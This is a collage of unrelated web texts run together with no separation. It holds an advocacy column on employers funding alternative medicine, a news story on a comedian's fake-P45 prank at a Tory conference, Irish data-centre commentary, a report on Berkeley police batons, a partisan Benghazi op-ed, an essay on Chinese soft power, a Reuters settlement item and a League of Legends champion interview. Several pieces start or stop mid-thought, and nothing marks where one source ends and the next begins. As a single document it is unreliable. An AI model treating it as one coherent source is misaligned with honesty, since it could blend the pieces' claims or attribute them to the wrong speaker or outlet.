There is a smart economic alignment that connects these stakeholders at the economic hip. They may even be a perfect marriage, as one writer recently put it.
An October CFO Playbook on Health Care Cost Management webinar featured the medical doctor who chairs the most significant lobbying group for integrative health care, the Integrative Healthcare Policy Consortium. The presentation from Leonard Wisneski, M.D., was assertively titled "Integrative Medicine: The Future of Health Care Delivery." Wisneski, a former medical officer for a large employer, urged extensive piloting of integrative approaches for their cost-saving possibilities.
Later that month, CFO featured an expansive alternative medicine benefit program offered by the $13 billion global manufacturer Parker Hannifin. The article led with a similarly assertive title -- though this time as a question: "A Solution to Our Country's Big Health Care Problem?" Parker Hannifin's CEO Don Washkewicz is confident the answer is yes: "[The program is in its] early days, but we're going to aggregate this and show the payoff in lower costs." His confidence beams through: "And then we're going to publicize the hell out of it."
Parker Hannafin's early data are these. The firm's expansive complementary and integrative medicine benefit includes 23 different types of a-typical treatments. These range from typical fare like therapeutic massage and acupuncture to chelation therapy (which recently merited a positive report from a huge National Institutes of Health trial), bio-identical hormone therapy and homeopathy. The 8-year-old CAM program has grown from 27,000 services performed in fiscal 2009 to 102,000 in 2012.
While the company has not tracked details on cost impacts, Parker Hannifin's corporate unit with the most use of such services has reportedly seen annual per-employee medical costs sink by more than half between 2007 and 2012, from $6,500 to $3,200. The firm does not know what portion, if any, may be attributable to the alternative medicine benefit. Washkewicz' comment suggests that the global manufacturer likes the trend.
While the second installment of the two CFO articles presented a more sober picture, CFO deputy editor David McCann followed with a Nov. 5, 2012 column that likely pushed the magazine's readers even farther out of their comfort zones. McCann's piece was entitled "To Cure Health Care, We Must Think Bigger, Much Bigger."
McCann urged bold explorations after a recent Robert Wood Johnson report that, in his words, "indicted the health care system for its failure to develop and deliver effective preventive strategies." Maybe, McCann suggests, "we should be open to different approaches instead of continuing to defend and turn blind eyes to the deficiencies of the old ones." He adds, "maybe giving [complementary and alternative medicine] a fair shot isn't so revolutionary after all."
According to McCann, data may soon be coming from other sources. He shares that former pension finance consultant Wayne Miller has "declared a crusade to assemble the health care informatics needed to assess CAM versus traditional approaches." Miller arranged the webinar on potential costs savings with Wisneski that kicked off CFO Magazine's flurry of activity in this area.
Momentum may indeed be picking up for a greater exploration by employers. As noted in a series of short reports here, players on both sides of the integrative medicine/employer divide are beginning to reach across to each other. Positive outcomes of a Cisco Systems LIfeConnections medical home that includes chiropractic and acupuncture, for instance, were reported out at a recent National Business Coalition on Health conference.
Rand Corporation economist and naturopathic physician Patricia Herman, ND, Ph.D., who recently saw published a systematic review of cost effectiveness studies on complementary and integrative medicine, has teamed up with the Samueli Institute to publish a how-to book on economic analysis in these fields.
Integrative medicine consultant and blogger Glenn Sabin needs no more evidence. In a recent posting he declared, "Self-Insured Employers and Employers: A Perfect Marriage."
Sabin's view is one I have held for nearly 15 years. (See eight related links on the employer connection at the bottom of this posting.) Early efforts to integrate complementary and alternative medicine therapies and practitioners with conventional delivery -- later called integrative medicine -- taught us a hard lesson. Hospitals weren't going to make money with "CAM" the way they do with high-priced services like interventional cardiology.
Rather, the big money in complementary and integrative medicine fields and their preventive and health promoting focus that CFO Magazine's McCann notes is not in churning services. It is in saving money by limiting services. Use of lucrative interventional cardiology services may be reduced. Hospital business models typically don't like this. Employer business models do.
The CFO Magazine series was published amidst growing bitterness among employers toward the extractive practices that have shaped the business of medicine in recent decades. The boom was leveled by Paul Grundy, M.D., MPH, IBM's health care leader at an August 2012 Institute of Medicine workshop. As reported here, Grundy addressed leaders of academic medical centers bluntly: "You are a milking machine." Then Grundy added: "You are going to see a remorseless campaign in the press about how bad you are." Later he added: "You are the lobster in water. Slowly we will change payment away from the [procedure and] episode of care ..."
The direction away from these old forms of payment as the battle between the titans of industry and the titans of medicine-as-business escalates is toward payment to practitioners and team of caregivers who can reverse disease processes. These are models in which individuals and groups are coached toward skill-building to make healthier choices. Such approaches are being innovated in fields like naturopathic medicine and integrative medicine and other whole-person, health-creating disciplines.
Employers would do well to think bigger, as CFO Magazine exhorts, and out of the box of conventional delivery. Engaging in data-extracting pilot projects like the radically-inclusive Parker Hannifin benefit may prove the perfect courtship for the kind of prevention-oriented health care marriage employers seek.
The Prime Minister was forced to pause her keynote address to the Tory gathering after Simon Brodkin handed her the sheet of paper.
Brodkin appeared to be posing as a photographer in the media scrum gathered below Ms May's lectern. He picked up his camera briefly before putting it down and handing her the paper, which Ms May took from him.
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He was quickly escorted from the hall by security to shouts of "out, out, out" from the audience and was later arrested by police, Tory officials confirmed.
Caught off guard by the prank, Ms May re-read a line from her speech before responding that she planned to give a P45 - the tax form handed out by an employer to a departing staff member - to the Labour leader, Jeremy Corbyn.
Brodkin tweeted that the P45 was handed to Ms May on behalf of Boris Johnson, whose public commentary on the Prime Minister's Brexit strategy led to suggestions he had her job in his sights.
A close-up photo of the fake P45 showed it listed the “reason for termination” as “neither strong nor stable”.
Mr Johnson's own future in the Cabinet has been called into question following perceived attempts to undermine the Prime Minister and her approach to Brexit.
Calls for the Foreign Secretary to resign intensified on Wednesday after ill-judged comments about the need to “clear up the bodies” in northern Libya emerged.
After being bundled out of the Manchester Central venue in handcuffs, Brodkin told reporters: "Boris told me to do it. He's left me in the lurch."
The Prime Minister's spokesperson said: "Greater Manchester Police have arrested a man for breach of peace. His name is out there and we expect there to be a thorough investigation into what has happened."
GMP's chief superintendent John O’Hare said the prankster was "arrested to prevent a breach of the peace and was released a short time later".
He added: “The man had legitimate accreditation which granted him access to the conference site.
“In light of this we will be reviewing the accreditation process with the Conservative Party.
“Even with accreditation, everyone at the conference goes through airport-style searches before being allowed entry to the site.”
Brodkin, best known for his comedy character Lee Nelson, rose to fame after gate-crashing a Fifa press conference and throwing dollar bills at the outgoing president Sepp Blatter.
He was arrested by Swiss authorities for trespassing at the event in July 2015 but later released.
He has also targeted Philip Green, the former owner of collapsed retailer BHS, by hanging a sign reading "BHS Destroyer" on the billionaire's superyacht, and disrupted then US presidential candidate Donald Trump at a Turnberry ribbon-cutting ceremony by attempting to hand out golf balls with a swastika printed on them.
Ms May's much-anticipated speech was also disrupted by a persistent cough, which forced her to stop at several points to drink water and take a cough sweet from the Chancellor, Philip Hammond.
She was given supportive applause by Tory activists as she carried on with the speech.
As Mr Hammond delivered the sweet to the stage Ms May joked: "I hope you noticed that, the Chancellor giving something away free."
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It has emerged that the IDA is seeking to identify potential land banks suitable for developing large-scale data centre projects.
It will be assessing land banks in each of the Dublin/mid-east, south-east, south-west, mid-west, midlands, west and north-west/north-east regions, according to the Irish Independent.
Clearly the availability of power, tier one fibre and good roads will be key to this.
Data centres are key to the digital economy and Ireland has done very well out of this infrastructure.
The data centre boom is about to enter its third age
The first phase of data centres in the late 1990s was almost swept away by the dot.com crash of 2001.
Some of them became stranded assets that were soon snapped up by savvy entrepreneurs like Ken Peterson of Columbia Ventures, who built the Hibernia Atlantic global fibre giant (recently sold to GTT for $590m) out the ashes of 360Networks, or Noel Meaney, who did likewise with the debris of Metromedia, which had data centre and fibre rings in Ireland and Europe.
As the internet revolution continued, bolstered by broadband, it gave way to smartphones, apps and the cloud. Data centres are now the engine rooms of the world’s data economy.
Ireland has more than 30 data centres currently active, with the majority based along the western fringes of Dublin.
Tech giants Amazon, Facebook, Google and Microsoft are in the midst of expanding their significant data centre footprints in Ireland.
Apple is currently trying to build a data centre in Athenry in Galway, which could be a game-changer for the economy of the entire west of Ireland but also renewable energy, if it can get past the legal and planning complexities.
A similar data centre announced by Apple around the same time in Denmark will likely be fully operational by the time the first sod is turned in Athenry.
This is unthinkable and unacceptable.
These complexities and hold-ups are dangerous in a fast-moving digital age.
If Ireland wants to win in the data centre business, planning and legal regimes that owe their legacy to the men in the mohair coats need to be removed.
Data centres, if designed well, need not disrupt the environmental ecosystem, and the next generation of data centres could actually do more to help the environment and make practical use of CO2.
The kind of joined-up thinking I am talking about is already evident in Stockholm, where excess heat from data centres is going to be used to heat at least 10,000 apartments across the city.
Under a bold new partnership between the City of Stockholm, Fortum Värme, Ellevio, Stokab and Invest Stockholm, excess heat generated by data centres will be funnelled back into a heatsink that can then be distributed to the city’s municipal heating system.
In this way, a data centre with 10MW capacity can heat around 20,000 modern residential apartments.
If you think about it, most of the data centres on Dublin’s western edges are located in clusters and are close to electricity generation plants. By this logic, 30 data centres could, in theory, be used to heat 600,000 homes.
While Dublin lacks the district heating infrastructure that Stockholm has built up over the last 60 years, there is no reason why this kind of thinking cannot be employed, at least in future data centre planning.
If a data centre cluster is to be located in Kildare or Galway or Meath, should the example of Stockholm to take excess heat and CO2 and turn it into something useful, like heating for homes, not be considered?
All it takes is joined-up thinking.
One thing is clear: the data revolution is burgeoning, and the IDA knows that more data centres will need to be built.
The ponderous legal and planning regime in Ireland is antiquated and no longer fit for purpose.
Companies like Apple have no patience for this kind of expensive dithering and neither do the locals who want jobs and a vibrant local economy.
In response, the police are trying to blame the protesters.
The San Francisco Chronicle notes today:
University police say the students, who chanted “You’re beating students” during the incident, were not innocent bystanders, and that the human fence they tried to build around seven tents amounted to a violent stance against police.
But many law enforcement experts said Thursday that the officers’ tactics appeared to be a severe overreaction.
Both the ACLU and the National Lawyers Guild said they had “grave concerns about the conduct” of campus police.
“Video recordings raise numerous questions about UCPD’s oversight and handling of these events, including whether law enforcement were truly required to beat protesters with batons,” the two groups wrote in a letter to campus officials.
“The individuals who linked arms and actively resisted, that in itself is an act of violence,” UC police Capt. Margo Bennett said. “I understand that many students may not think that, but linking arms in a human chain when ordered to step aside is not a nonviolent protest.”
Bennett said police merely wanted to enforce the ban on camping on Sproul Plaza, but were prevented from doing so by students.
“Students who linked arms were interfering with the officers who were attempting to remove those tents,” she said.
Sgt. J.D. Nelson, a spokesman for the Alameda County Sheriff’s Department, said he saw nothing inappropriate in how one deputy shown in a video used his baton. Nelson said it appeared the deputy was trying to keep students from breaching a police line.
“Using a baton to go through a nonviolent crowd is as inappropriate today as it was in the South when they used it to enforce segregation in the 1960s,” said Jim Chanin, a Berkeley attorney who specializes in police misconduct issues.
Sam Walker, a professor emeritus of criminal justice at the University of Nebraska at Omaha who has served as a consultant to the Oakland Police Department, said he thought the campus response was “unprovoked” and “completely unnecessary.”
Using a baton to aggressively poke protesters can be dangerous, Walker said.
“The way they were using it, you’re very likely to hit the groin or kidney,” he said. “I think it is an excessive action and totally unwarranted in the circumstances we see on the video.”
This isn’t the first time university officers have been accused of excessive force during a protest.
In November 2009, hundreds of students orchestrated a chaotic, daylong rally against tuition increases, among other issues. At one point during the demonstration, protesters pushed a police line back by about six feet. Officers, with no direction from commanders, reacted by striking students with batons, using both jabs and overhead strikes, to re-establish the perimeter.
This has been the occasion for outrage that Democrats haven’t been able to summon for any aspect of Benghazi to this point, including the lax security at the compound.
The Democrats and their allies are in denial. They think the Republican notion of a scandal is a complete hoax. Yes, a mistake was made here or there, but otherwise, nothing to see here.
The deniers evidently believe:
• An administration should be able to make erroneous statements about a terror attack that killed a US ambassador in the weeks before a presidential election and expect everyone to accept its good intentions afterward.
• An administration should be able to withhold a bombshell White House e-mail from congressional investigators and expect everyone to greet its long-delayed release with a yawn.
• An administration should be able to send out its press secretary to abase himself with absurd denials of the obvious and expect everyone to consider its credibility solidly intact.
No opposition party would ever accept these propositions, and of course Republicans (and a few intrepid reporters and organizations) haven’t. We presumably would never have learned of the e-mail from White House national-security official Ben Rhodes to then-ambassador to the United Nations Susan Rice prior to her notorious Sunday-show appearances if Benghazi “obsessives” at Judicial Watch hadn’t zealously pursued records through a lawsuit.
It has long been the contention of Rice’s defenders that she was merely tripped up by bad intelligence. It is true that the Central Intelligence Agency wrongly maintained initially that the Ben­ghazi attack grew out of a protest. Yet, there wasn’t any doubt from the outset that it was a terrorist attack.
In his April testimony before the House Permanent Select Committee on Intelligence, former deputy director of the CIA Michael Morell emphasized, “The critically important point is that the analysts considered this a terrorist attack from the very beginning. They were not slow coming to this judgment.”
But Rice took her cue from Rhodes, who didn’t mention terrorism. It was all about the video, and “people who harm Americans” and “challenges,” including “difficult challenges.”
The administration’s apologists claim that President Obama immediately called Benghazi a terror attack in a statement in the Rose Garden on Sept. 12, the day after the assault. He did indeed refer to “acts of terror,” although vaguely. In an interview the same day with CBS, though, he was asked: Was Ben­ghazi the result of a “mob action,” or was it something more serious? “I don’t want to jump the gun on this,” the president said.
Blaming the video allowed the administration to put the most anodyne possible interpretation on Benghazi, while staying in its ideological comfort zone. If the video had incited the attack, it meant that extremists both at home and overseas were to blame and that the administration could adopt a defensive posture about our country’s alleged Islamophobia.
Clearly, the White House considered the Rhodes e-mail damaging, or it would have released it long ago. It then would have spared Jay Carney the exertions involved in maintaining that the e-mail isn’t rightly considered a Benghazi e-mail, even though it was part of Rice’s preparation to go on shows where she would be asked repeatedly about . . . Benghazi.
Not every scandal is Watergate, and it’s foolish for Republicans to invoke it here. The party also shouldn’t be fund-raising over the deaths of four Americans. But the unearthing of the Rhodes e-mail discredits the argument that everything to do with Benghazi is “old news.”
No emotional connection
Today, if people in Eurasia were all fans of Chinese pop music or television dramas, or had a more positive image of China, it might be easier for their governments to partner with Beijing on "win-win" initiatives such as One Belt One Road.
While China's political model is unpopular in Europe and the United States, its command-and-control economic model is admired across the developing world, where China also invests in infrastructure projects and sometimes provides aid. China's willingness to engage with emerging markets has likely improved its image in those regions.
While only 38 per cent of Americans and 41 per cent of Europeans view China favourably, more than half of Africans (70 per cent) and Latin Americans (57 per cent) see China in a positive light, according to 2015 Pew Research Centre surveys.
There are rock-and-roll festivals in China now and luxury consumerism galore... but does it translate to the kind of cool that other countries want to copy? Guang Niu/Getty
Yet few people in those developing nations have fallen in love with China the way they might fall in love with the United States. This is largely because China's pop culture lacks emotional, artistic or sex appeal. A 2013 Pew survey found that just 25 per cent of Latin Americans and 34 per cent of Africans have favourable opinions of Chinese music, movies, or television, while more than half view US cultural products favourably.
China's soft power deficiency has been the subject of considerable personal angst. I grew up as a minority in suburban New Jersey, a place where I have never been considered cool, despite going through all the required motions: playing the guitar, trying to skateboard and driving a fast car.
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I can't fully blame my Chinese ethnicity for my lack of coolness – part of it is rooted in anti-Chinese sentiments throughout United States history – but being an immigrant from the mainland certainly did not help. I wasn't cool in the US, and I'm usually not cool in China, where I live now – at least not until people find out that I grew up Stateside. Then people here look at me with new eyes.
They start to admire the clothes I wear, the music I listen to and the books I read. This fawning is doubled for my white American friends. In much of China today, telling people that you're from the United States can transform you into a minor celebrity.
Germans from East and West stand on the Berlin Wall, one day after the wall opened in 1989. Long before the wall fell, it had been penetrated by the appeal of Western pop culture. AP
Historic soft power doesn't count
Despite high levels of nationalism and rising income in China, people there still turn to the United States, Europe, South Korea and even erstwhile wartime enemy Japan for entertainment. (Pop culture from Taiwan and Hong Kong, with relatively tiny populations, is also considered much cooler than that from the mainland.)
When my Chinese friends share WeChat posts, they like to show that they travelled to non-Chinese locations, and they like to write their status updates in non-Chinese languages.
For as long as I can remember, the more a Chinese person travels abroad, the more socially attractive he or she becomes. This wasn't always the case. For millennia, Chinese culture was a thing of envy and imitation. China produced cultural icons like poet Li Bai and philosopher Confucius.
The Tang Dynasty's designs were the basis of Japanese architectural aesthetics, and elements of Confucian teachings became core tenets of the Korean social order. China expected tributary payments from other countries, so much so that officials misinterpreted the items that England's King George III fatefully presented to open up trade as homages to the Yellow Emperor.
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US Secretary of State Rex Tillerson and Chinese Foreign Minister Wang Yi meet in Beijing. The Trump era might see America's coolness stocks decline, creating a soft-power vacuum for China to try to fill. AP
China's golden age was so admirable that, even today, China's propaganda department peddles its ancient cultural products abroad – in part because it has nothing else, really, to offer. The fact that a country invented gunpowder brings it only so much social capital.
"That's like if your girlfriend's family asks if you are wealthy, and you tell them that your ancestors are wealthy," noted popular Chinese blogger Han Han. "It is useless."
State attempts at cool equal cringe
After China lost the Opium War, it adopted a strategy known as zhong ti xi yong (中体西用), meaning, "adopting Western knowledge for its practical uses while keeping Chinese values as the core". These methods are evident today in the Chinese government's use of pop music and Hollywood. More often than not, the results are wooden.
It's an old maxim that trying too hard to be cool backfires. Just look at the Chinese Communist Party, which has been flummoxed by the question of how to improve its cultural image. China's top-down efforts to expand soft power gained momentum in 2007, when the Party's then-General Secretary Hu Jintao announced that China needed to "vigorously develop the cultural industry" and to "enhance the industry's international competitiveness".
An illustration of Chinese philosopher and teacher Confucius (551-479BC), whose influence came to extend far outside the country. Historically, China wielded considerable cultural power. Supplied
In June 2016, Hu's successor, Xi Jinping, criticised the nation's propaganda bureau for failing to reach younger audiences and called on them to be more innovative. The Party's soft power failures are especially visible in the music industry. One of China's most cringe-worthy efforts is a hip-hop music video aimed at millennials abroad, entitled This is China, produced by China's Communist Youth League and the rap group Chengdu Revolution.
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The video promotes China with rambling lyrics such as, "First things first, we all know that China is a developing country. It has large population and it is really hard to manage," and the gem, "As for scientific achievement, we have [Nobel prize winner] Tu Youyou, who discovered Artemisinin." The only way Chinese state media could outdo itself on this one is if it were to, say, promote a rap song praising Karl Marx. In music, China nurses the notion that it can factory-produce the next big global pop celebrity, much the way China produced basketball star Yao Ming, a 7 foot 6 inch, 300-pound (2.29-metre, 136-kilogram) outlier.
In 2011, the state-sponsored Shanghai Synergy record label signed the singer Ruhan Jia, with the explicit goal of transforming her into an international sensation. In her Shanghai studio, she practises English, studies Eminem, Whitney Houston and Michael Jackson, and cultivates her squeaky-clean image. She made her American debut nearly five years ago in the Ran Tea House in Williamsburg, Brooklyn, according to a 2012 Bloomberg report.
But today, few in the United States or even China have ever heard of her. It's not that Chinese artists lack creativity, style or taste; they also have to overcome both an overweening state and the expectations and stereotypes of older Chinese, and of Western audiences. Michael Pettis, a widely cited professor of finance at Beijing University, is also founder of Maybe Mars, one of China's largest independent record companies. Pettis told Foreign Policy that exciting happenings in China's music scene go largely unnoticed, because people around the world often can't see past negative Chinese stereotypes: from smart students who eat together and never talk to tourists who defecate on the street.
Yawning generation gap
"It's an unfair image because there is this developing cool within China," said Pettis, who has signed pioneering bands such as Carsick Cars and P.K. 14 to his label.
Another reason that quality music gets overlooked is that there is a generation gap within China between the government officials, parents, and teachers in charge, and China's younger creative class. Authority figures were scarred by the Cultural Revolution, while the latter grew up under rapid urbanisation and economic change. The most creative Chinese people lead lives similar to taste-making urbanites elsewhere; they are young, travel via subway, hang out in cafes and clubs, and are often on their computers or smartphones even more than Americans or Europeans.
Pettis is impatient with those who search for their own idea of "authentic" Chinese culture, a situation exacerbated by government promos. "Whatever [Chinese youth] end up doing, it's not going to sound like Mongolian horsemen, or Xinjiangese farmers, or peasants in Yunnan province, which is sort of what [consumers] are looking for," he said.
The clashing expectations of older Chinese, younger Chinese, Beijing censors and the West can make it hard to create widely resonant works. Hollywood and state-backed Chinese studios recently coproduced a $US150 million movie, The Great Wall. The ambitious film somehow managed to receive criticism for both whitewashing (it starred Matt Damon) and pandering to China (Matt Damon becomes humbled by Chinese virtues). It flopped in its opening weekend in the US.
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In another instance, director Lu Chuan (known for City of Life and Death) agreed to produce an animated film in 2006 for the 2008 Beijing Olympic Games. But he quickly found that the government had inflexible demands on how the film should promote Chinese culture. "Under such pressure, my co-workers and I really felt stifled," Lu wrote in China Daily. "The fun and joy from doing something interesting left us, together with our imagination and creativity."
And when the China Film Directors Guild awarded the 2013 director of the year award to Feng Xiaogang, often called the Spielberg of China, Feng gave an acceptance speech lamenting the censorship that Chinese directors must overcome. "Are Hollywood directors tormented the same way?" Feng asked. "To get approval, I have to cut my films in a way that makes them bad." His speech went viral on Chinese social media.
Party stifles creativity
Some counter that the lack of Chinese cool is rooted in China's traditions; that while the West values individuality, China values the group, so much so that the Chinese would rather conform to the masses than explore new paths. Others blame Chinese students' educational development, especially during the hellish year leading up to Gaokao exams, when many do almost nothing but study and sleep.
William Kirby, a professor of China Studies at Harvard who has also taught in China, cautions against assuming "that because of their educational experience the Americans are problem-solving innovators as a birth right and the Chinese are rote memorisers with no independence of thought."
Kirby told Foreign Policy he is more worried about the government's ideological purity campaign, which has recently made its way onto college campuses. Xi, for example, has tightened the Party's grip over lesson plans, with visions to turn colleges into strongholds that obey Party leadership. "Great universities in China, one could fear, would end up with two types of graduates," Kirby said. "The large majority being cynical of what they are being taught, which is never a good thing; and a small minority being opportunists, who say whatever they need to say to get ahead."
China needs to rethink some of its soft power strategies and political values, and in the process rebrand itself – if not for its image abroad, then for its own people at home. China has the world's largest middle class, as well as the world's largest population of billionaires. These facts suggest that Chinese consumers should be the world's new taste-makers. But their current tastes in entertainment and fashion are largely sourced from outside the country.
American cool endangered by Trump
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One trend that must be particularly baffling to Chinese bureaucrats is how comparatively tiny South Korea has reaped the economic and social benefits of hallyu, meaning the flow of South Korean culture abroad. As in China, the Korean government invests heavily in its domestic entertainment industry, with the ultimate goal of exporting its cultural products. It seems to work in Korea, while China, with more than 20 times as many potential pop artists to nurture, flails.
Today, China's soft power goals contain an inherent contradiction: the country wants to use media as a tool to guide public values in the Leninist tradition, and at the same time hopes to create entertainment products that are well received worldwide. In liberal democracies, art and culture – which often emerge from society's fringes – tell us something about life, occasionally shaping national priorities in the process. But in China, it's national priorities that shape art.
It's not out of the question that US President Donald Trump's antics and policies – his Muslim ban, or his promised wall building, or his sexism – will leave a soft-power vacuum around the world that China can try to fill. It may become less cool to be, or act like, an American.
If Xi provides enough space for China's creative class to grow, then China's cultural products will have a much better chance of succeeding worldwide, and the Chinese could emerge from the Trump era in a much more positive light. But Beijing still fails to grasp that soft power arises when individuals have room to create and grow – without fear of censorship or the need to conform to a government agenda.
People are silhouetted as they pose with laptops in front of a screen projected with a Google logo, in this picture illustration taken in Zenica October 29, 2014. REUTERS/Dado Ruvic
Plaintiffs accused Apple, Google, Intel Corp and Adobe Systems Inc in the 2011 lawsuit of limiting job mobility and, as a result, keeping a lid on salaries.
The case has been closely watched because of the possibility of big damages being awarded and for the opportunity to peek into the world of some of America’s elite tech firms.
U.S. District Judge Lucy Koh in San Jose, California, last year rejected a $324.5 million settlement of the lawsuit as too low after one of the named plaintiffs objected.
That worker will support the new agreement, his attorney Daniel Girard said, which could be a joint payment of $415 million, the New York Times reported citing a person close to the negotiations. (nyti.ms/1u3Qjmu)
Representatives for Apple, Intel and Adobe declined to comment. A Google spokesman could not be reached, nor could an attorney for the plaintiffs.
The case was based largely on emails in which Apple co-founder Steve Jobs, former Google Chief Executive Officer Eric Schmidt and some of their rivals detailed plans to avoid poaching each other’s prized engineers.
In rejecting the $324.5 million deal, Koh repeatedly referred to a related 2013 settlement involving Disney and Intuit.
Apple and Google workers got proportionally less than Disney workers, Koh wrote, even though plaintiff lawyers had “much more leverage” against Apple and Google.
To match the earlier settlement, the deal with Apple, Google, Intel and Adobe “would need to total at least $380 million,” Koh wrote.
In the short court filing on Tuesday, the companies said plaintiffs would file a detailed explanation of the new deal “imminently.” Koh will then likely decide whether to accept or reject it.
While her original name was later used by another champion, it was confirmed by Coronach that there was no other relation. [4] It has been speculated that Priscilla's silhouette may have inspired Urgot's original design.
Priscilla's Blessing, an item released with the launch of Dominion in September 2011, was named in homage to the Spider Queen, although the item was removed shortly after.
There was a poll on the League of Legends forums petitioning for Riot to bring the Spider Queen into the game, which received over 24.000 votes. The forum can be seen here.
By NeeksNaman [5]
This patch, we'll welcome a champion with a lot of history into the League of Legends lineup: Elise, the Spider Queen. Originally concepted over three years ago, Elise proved to be a challenging champion to fully realize. Finally coming together as a transform champion, Elise has the ability to assume the form of either a regal mage or a deadly spider assassin.
Elise transforms into a menacing spider with new abilities. While in Spider Form, Elise deals bonus magic damage on attack and has increased Movement Speed, Armor, and Magic Resistance. Each level of her ultimate allows Elise to summon an additional spiderling .
Like all transform champions, successfully playing Elise involves balancing two distinct kits. More than any of her counterparts, however, the Spider Queen's two forms embody distinct, but complimentary roles. Unlike Jayce, whose kit emphasizes flowing smoothly between ranged and melee skillsets, or Nidalee, who uses her cougar mobility to split push and create distance for her long ranged attacks, Elise's two ability sets separate definitively into mage and assassin roles.
In her human mage form, Elise specializes in keeping her distance using low-cooldown nukes and crowd control abilities. Her spells emphasize wearing down high-health targets in preparation for a brutal finish in spider form. At the heart of this gameplay is Neurotoxin which deals damage based on the opponent's current health. While in this form, she also generates a spiderling each time she casts a spell. Upon transformation into a spider, she summons these spiderlings to fight alongside her. Investing the time to build up your minion count is essential to performing a perfect assassination.
Once she's switched to her spider assassin form, Elise's kit takes on an entirely different theme. She gains a number of bonuses to her melee capabilities, and her spiderlings become active to help rapidly damage an opponent. Using Rappel, she can ascend above the battlefield, vanishing from sight and becoming untargetable for a short duration. Once she's suspended, she can lower herself upon a nearby target, surrounding them with spiderlings. Boosting her minions' Attack Speed with Skittering Frenzy can quickly burst down a surrounded enemy, leaving them vulnerable to execution with Venomous Bite.
Using both spider and human form effectively is the key to making the most out of the Spider Queen. Having the good judgment to stay safe in your mage form while you fight to create the opportunity for a clean spider kill will make or break your success on the Fields of Justice.
By ByronicHero [6]
Elise, the Spider Queen, is poised and ready to unleash her horrific powers on the Fields of Justice. We spoke to some of the Rioters involved in bringing Elise to life and asked them about the challenges of arachnophobia, visual design, sound design, and what's so damn cool about transforming into a monstrous, man-eating spider. Here's the inside scoop on Elise from the developers behind this dangerous new champion.
Steven "Coronach" DeRose: Game Designer
Christina "RIOTSTEEN" Wun: Senior VFX Artist
Mike "ohmikegoodness" Laygo: Senior Animator
Iain "Harrow" Hendry: Associate Creative Designer
Sam "cgsammu" Yang: Character Artist
Mark "Riot G Mang" Sassenrath: Game Analyst
Adam "BelligerentSwan" Swanson: Sound Designer
ByronicHero: Let's get the most pressing question out of the way, first: Elise is a spider. Were there any arachnophobes on the team?
RIOTSTEEN: It was hard for me to work on Elise because I'm very scared of spiders. She would never have been my first choice to work on. When playing as Elise, I never transformed into the spider because her little spiderlings would freak me out when they were skittering around. I got over it eventually, and watching her creepy animations became pretty cool. As long as it was scary, we were doing it right.
It didn't help that ohmikegoodness isn't at all arachnophobic. I think that he actually enjoyed animating Spider Queen a little too much.
ohmikegoodness: Animating Elise was awesome because there are lots of tiny movements that you can make to give her an unnerving, grotesque feel, even when the character in front of you is supposed to be a beautiful woman.
Originally, when I was animating her human female form, my intent was to create a huge gap between the human and spider forms. When she's human, she's human. When she's a spider, she's a monstrous spider. I wanted to give the spider legs that protrude from her back a twitchy, erratic vibe. I had to de-creepify her a bunch, make her stand up straight and reduce a lot of the twitchiness because it was just too frightening and unnerving.
When our animation director RiotBamDragon goes over animations for review, he looks at everything for little fixes. I found it weird that he only had suggestions for the female-form, when he's usually more comprehensive with feedback. I quickly realized that he never looked at the spider form because he's terrified of spiders. "The spider's fine. Spider's fine. Just ship it." I asked him, "Did you even look at the spider?" "Yeah, I'm sure it's fine," he hastily replied. So the team put a big spider over his desk for the Halloween decorations. I think it's still there.
Harrow: I do feel bad for the arachnophobes, especially when you use one of Elise's signature spider-form abilities, Rappel. You climb up and out-of-sight before dropping down on foes. You can easily creep people out with sounds, too- skittering noises and such. Hopefully, all of these things are fun for the summoner playing as the Spider Queen and horrifying for the players getting devoured by her.
Riot G Mang: Arachnophobia became a big talking point during her development. It's not something I think about on a daily basis. She actually became too scary, so we had to tone it down. Also, something that I didn't know was that arachnophobia is pretty much a uniquely western phenomenon. In China, for instance, there isn't the widespread association between spiders and scary that we have here.
ByronicHero: Could you tell us about creating the Spider Queen's look and feel?
cgsammu: I got to work on the spider's visuals, and she looks totally cool. Working on Elise's spider model was challenging because of the Shadow Isles theme combined with the look of the spider we were going for. Originally, she looked too... metallic? Futuristic? We wanted more organic designs rather than sharp, segmented plates, so we found a middle ground.
Iian: At first glance, you see an elegant spell caster. There are plenty of hints to show players that she's got something creepy hidden below the surface. Spoiler alert: she's a giant spider.
ohmikegoodness: She was invading people's dreams. It wasn't even the base skin- it was her launch skin, which is almost creepier than the regular spider in many ways. Wait until you see that!
I watched a lot of video reference for the Spider Queen, lots of black widow footage. Black widows are awfully creepy...
ByronicHero: How about Elise's sound design? What were you aiming for with her voices and sound effects?
BelligerentSwan: We had to find as many iconic spider sounds that would really nail the skittering of a terrifying spider, replicating that feeling you get when you hear Fiddlestick's ultimate or "Darrrrknesssssss" from Nocturne; you're terrified because you know what's coming only a split second before it happens. Thankfully, I didn't have to tone down her audio creepy-factor for the lady version as much as ohmikegoodness had to for the look of the human form. With the spider, my imagination could fly with sound design. With the human form, you have an expectation of what she might sound like.
ByronicHero: How does Elise's story play into her abilities?
Harrow: Horrifying spider monster? Horrifying Shadow Isles? Seemed like a perfect fit. She's a cult leader figure and gets her power and immortality by feeding a bunch of people to this horrible spider creature, draining his venom, and creating a concoction that fuels her abilities. So, like any good cult leader, she promises the great power and immortality of the spider god to idiot cultists that follow her to their deaths in the Shadow Isles. In actuality, she just feeds them all to a spider. The promise of beauty, then the ultimate deception- it's paralleled in her play style.
ByronicHero: Tell us a bit about Elise's two forms.
Coronach: Elise's human form is all about crowd control and initiation. The damage you deal with Neurotoxin is based on your enemies' current health. You're encouraged to start fights in human form.
Spider form is all about commanding your army of spiderlings while dishing out damage and skittering around the fight. It gets pretty creepy with Rappel, leaping up and over jungle tree lines to create gank opportunities, leaping over a line of minions to close the gap, or as an escape if she's under serious pressure. If the enemy can kill your spiders, they can essentially knock you out of the fight by forcing you to transform back into human form to build up your army again.
Players' skill with Elise will be dependent on gauging when to transform into her spider form to secure kills. Dynamic usage of the two forms based on what stage of the fight you're in will be crucial.
ByronicHero: How do Elise's spiderlings play into her abilities and fighting style?
